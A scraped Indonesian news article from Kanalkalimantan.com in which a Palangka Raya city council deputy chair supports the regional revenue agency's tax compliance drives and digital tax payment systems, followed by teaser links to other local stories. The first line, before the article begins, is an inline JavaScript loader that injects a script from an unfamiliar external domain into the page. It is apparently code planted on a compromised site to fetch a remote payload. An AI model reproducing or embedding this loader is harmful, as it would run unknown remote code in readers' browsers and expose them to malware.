(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKA RAYA– Wakil Ketua II Komisi II DPRD Kota Palangka Raya, Dudie B. Sidau, menyatakan dukungan penuh terhadap langkah Badan Pendapatan Daerah (Bapenda) dalam meningkatkan kepatuhan wajib pajak melalui kegiatan pendataan, penagihan, dan pemeriksaan lapangan. Upaya ini penting untuk memperkuat kemandirian fiskal daerah sekaligus memastikan pembangunan kota berjalan berkelanjutan.
Dudie mengatakan keterlibatan Satpol PP dan aparat penegak hukum dalam pendataan dan pembinaan merupakan bukti keseriusan pemerintah kota dalam mengoptimalkan Pendapatan Asli Daerah (PAD).
“Kami mendukung langkah Bapenda yang tidak hanya menegakkan aturan, tetapi juga memberikan edukasi kepada wajib pajak. Pendekatan persuasif seperti ini penting agar kesadaran masyarakat tumbuh dari pemahaman, bukan paksaan,” ujarnya, Kamis (16/10/2025).
Ia menegaskan bahwa peningkatan kepatuhan pajak akan berdampak langsung pada kemampuan daerah dalam membiayai pembangunan. Karena itu, DPRD mendorong agar kegiatan pendataan dan pemeriksaan dilakukan secara berkelanjutan dan merata di seluruh sektor usaha.
Baca juga: Pimpin Peringatan Hari Kesehatan Nasional, Ini Harapan Saidi Mansyur
“Pajak daerah adalah salah satu sumber utama pembangunan. Jika kepatuhan meningkat, maka pelayanan publik dan infrastruktur di Kota Palangka Raya juga akan semakin baik,” tuturnya.
Selain itu, Dudie mengapresiasi upaya Bapenda yang terus mengembangkan sistem pembayaran pajak digital. Menurutnya, inovasi tersebut tidak hanya memudahkan masyarakat, tetapi juga meningkatkan transparansi dalam pengelolaan keuangan daerah.
K“Transformasi menuju sistem non-tunai merupakan langkah tepat. Sistem digital mempermudah wajib pajak, memperkecil potensi kebocoran, dan memperkuat kepercayaan publik kepada pemerintah,” jelasnya.
Ia berharap Bapenda dapat memperluas sosialisasi, terutama kepada pelaku usaha kecil dan menengah yang mungkin belum sepenuhnya memahami kewajiban perpajakan mereka.
“Sosialisasi dan pendampingan harus terus dilakukan. Dengan sinergi antara pemerintah, dunia usaha, dan masyarakat, target PAD dapat tercapai tanpa membebani warga,” pungkasnya.
Sebelumnya, Kepala Bappeda Kota Palangka Raya, Emi Abriani, menyampaikan bahwa kegiatan pendataan dan pemeriksaan lapangan tidak semata penegakan aturan, tetapi juga menjadi sarana edukasi agar masyarakat memahami pentingnya pajak sebagai pilar utama pembangunan daerah.(Kanalkalimantan.com/rls)
Reporter: rls
Editor: Rdy
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
This website uses cookies.